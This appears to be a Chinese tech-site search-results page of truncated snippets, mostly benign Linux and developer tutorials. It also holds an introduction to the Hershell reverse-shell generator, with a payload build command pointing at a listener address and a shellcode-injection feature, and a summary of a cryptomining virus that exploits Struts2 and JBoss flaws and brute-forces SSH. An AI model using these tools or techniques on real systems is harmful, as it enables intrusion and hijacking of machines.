首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Hershell:一款功能强大的跨平台反向Shell生成器

接下来,运行下列命令来获取项目源码: go get github.com/lesnuages/hershell 构建Payload 在构建Payload时,我们可以选择使用已提供的Makefile来完成构建...生成服务器证书(反向Shell需要使用到) windows32 : 构建一个32位Windows可执行程序(PE 32位) windows64 : 构建一个64位Windows可执行程序(PE 64位) linux32...使用反向Shell 代码开始执行之后,工具将给我们提供一个远程Shell,它是一个自定义的交互式Shell,允许我们通过Windows上的cmd.exe或Unix设备中的/bin/sh来执行系统命令。...Hershell支持的部分特定命令如下表所示: run_shell : 获取系统Shell inject : 向相同进程内存中注入一个shellcode(Base64编码),并执行代码。...target $ make windows64 LHOST=192.168.0.12 LPORT=1234 针对Linux平台: # Predifined 32 bit target $ make linux32

1.4K20

基于Splinter演示如何使用Chrome WebDriver

Chrome WebDriver由selenium提供的chrome浏览器驱动,在使用它前,需要先安装selenium,可以通过pip命令进行安装 pip install selenium pip install...在Mac在下建议用下面的命令进行安装 brew install chromedriver 在linux32下建议用以下命令进行安装 $ cd $HOME/Downloads $ wget https:...files/chromedriver_linux32_20.0.1133.0.zip $ unzip chromedriver_linux32_20.0.1133.0.zip 在linux64下建议以下命令进行安装...zip $ unzip chromedriver_linux64_20.0.1133.0.zip 注:20.0.1133.0这个是版本号,可以根据你的实际需要,安装合适的版本 linux下通用的安装命令如下...HOME/bin $ mv chromedriver $HOME/bin $ echo "export PATH=$PATH:$HOME/bin" >>$HOME/.bash_profile 通过这个命令会安装最新版本的驱动

15310
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Busybox编译安装「建议收藏」

    Busybox将众多的UNIX命令集合进一个很小的可执行程序中,可以用来替代GNU fileutils、shellutils 等工具集。...Busybox中各种命令与相应的GNU工具相比,所能提供的选项比较少,但是也足够一般的应用了。Busybox主要用于嵌入式系统 Busybox 是一个集成了三百多个最常用Linux命令和工具的软件。...简单的说BusyBox就好像是个大工具箱,它集成压缩了Linux 的许多工具和命令,也包含了 Android 系统的自带的shell 定制小型的Linux操作系统:linux内核+busybox 官方网站...:https://busybox.net/ 2 Busybox使用 busybox 的编译过程与Linux内核的编译类似 busybox的使用有三种方式: busybox后直接跟命令,如 busybox...fsync link more pipe_progress sed true busybox df getopt linux32

    2.2K30

    D8调试工具——jsvu的使用细则

    1、安装 前提:node V14+ npm install -g jsvu 运行 jsvu,交互式命令行选择需要安装的平台和引擎 安装指定版本的引擎可以参考下面的命令 jsvu --os=win64...jsvu --os=win64 --engines=v8-debug 操作系统支持的引擎 JavaScript engine Binary name mac64 mac64arm win32 win64 linux32...jsvu v1.13.3 — the JavaScript engine Version Updater [@] [--os={mac64,mac64arm,linux32...图片来源网络(侵删) 下面看一下在线解析AST的示例 4、使用V8调试分析代码 文档查看 由于文档较长,可以使用命令输出一份本地的帮助文档,方便查看 # 进入到要输出文档的目录下,生成v8-help.txt...、v8-debug-help.txt v8 --help >> v8-help.txt v8-debug --help >> v8-debug-help.txt 主要使用的命令参数如下 v8-debug

    90120

    从源码层面看一款精致的病毒软件应具备哪些特质

    jboss.cpp:包括CVE-2013-4810(反序列化漏洞),CVE-2017-12149(反序列化命令执行漏洞),后台文件上传漏洞 ssh2.cpp:通过配置的ssh用户名/密码组合,尝试登陆目标主机...2.3 其他模式说明 若命令为att,则命令行后是具体的站点地址,此时调用AllScan,用所有web payload进行攻击; 若命令为file,则命令行后是文件汇总的站点清单,判断http/https...协议后,调用AllScan进行攻击; 若命令为ssh,则命令后是文件汇总的ip清单,则根据内置的ssh用户名/密码进行破解,成功后控制主机下载挖矿程序。...三、其余核心代码截图 struts2.cpp:Struts2-045,区分windows/linux32/linux64位,设置不同的挖矿程序地址: ? Struts2-046 payload: ?

    60830

    linux命令: chown命令

    系统管理员经常使用chown命令,在将文件拷贝到另一个用户的名录下之后,让用户拥有使用该文件的权限。...1.命令格式:     chown [选项]… [所有者][:[组]] 文件… 2.命令功能:     通过chown改变文件的拥有者和群组。...3.命令参数:  必要参数:     -c 显示更改的部分的信息     -f 忽略错误信息     -h 修复符号链接     -R 处理指定目录以及其子目录下的所有文件     -v 显示详细的处理信息...当前用户:当前群组> 只有当前用户和群组跟指定的用户和群组相同时才进行改变     –help 显示帮助信息     –version 显示版本信息 4.使用实例: 实例1:改变拥有者和群组   命令...-rw-r--r-- 1 root users 0 11-30 08:39 log2017.log [root@localhost test6]# 说明: 实例3:改变文件群组   命令

    34.5K30

    Linux命令 cat命令

    那么用这条命令就可以了ls -a-u-F >ttyb。这充分利用了Unix操作系统系统多用户的设计思想。...在Dos里这条命令被写成copy file1+file2 file3 当你用'>'来输出重定向的时候,Unix操作系统马上打开一个空文件来准备存放'>'之前那个文件命令的输出结果。...所以:cat file1 file2>file1这条命令将产生一个错误提示。也许这条命令的本意是增加file1里的内容,但在系统初始这条命令的时候就把file1里的 内容清空了。...Unix常用命令cat命令格式参数   命令:cat   使用权限:所有使用者   使用方式:cat [-AbeEnstTuv] [--help] [--version] fileName   说明:把档案串连接后传到基本输出...我正在为cat命令写文档 我来测试cat向文档追加内容的功能; OK?

    62.8K30

    命令模式(封装命令)

    代码实现 定义命令的接口的目的是为了抽象类型,并且将命令实现分离。...这里模拟构建机器人接收到命令在触发 // 构建命令管理器,命令的日志跟踪都可以在这里实现。...命令模式包含四个角色: 抽象命令类中声明了用于执行请求的execute()等方法,通过这些方法可以调用请求接收者的相关操作; 具体命令类是抽象命令类的子类,实现了在抽象命令类中声明的方法,它对应具体的接收者对象...命令模式的本质是对命令进行封装,将发出命令的责任和执行命令的责任分割开。 命令模式使请求本身成为一个对象,这个对象和其他对象一样可以被存储和传递。...命令模式的主要优点在于降低系统的耦合度,增加新的命令很方便,而且可以比较容易地设计一个命令队列和宏命令,并方便地实现对请求的撤销和恢复; 其主要缺点在于可能会导致某些系统有过多的具体命令类。

    1.4K20
    领券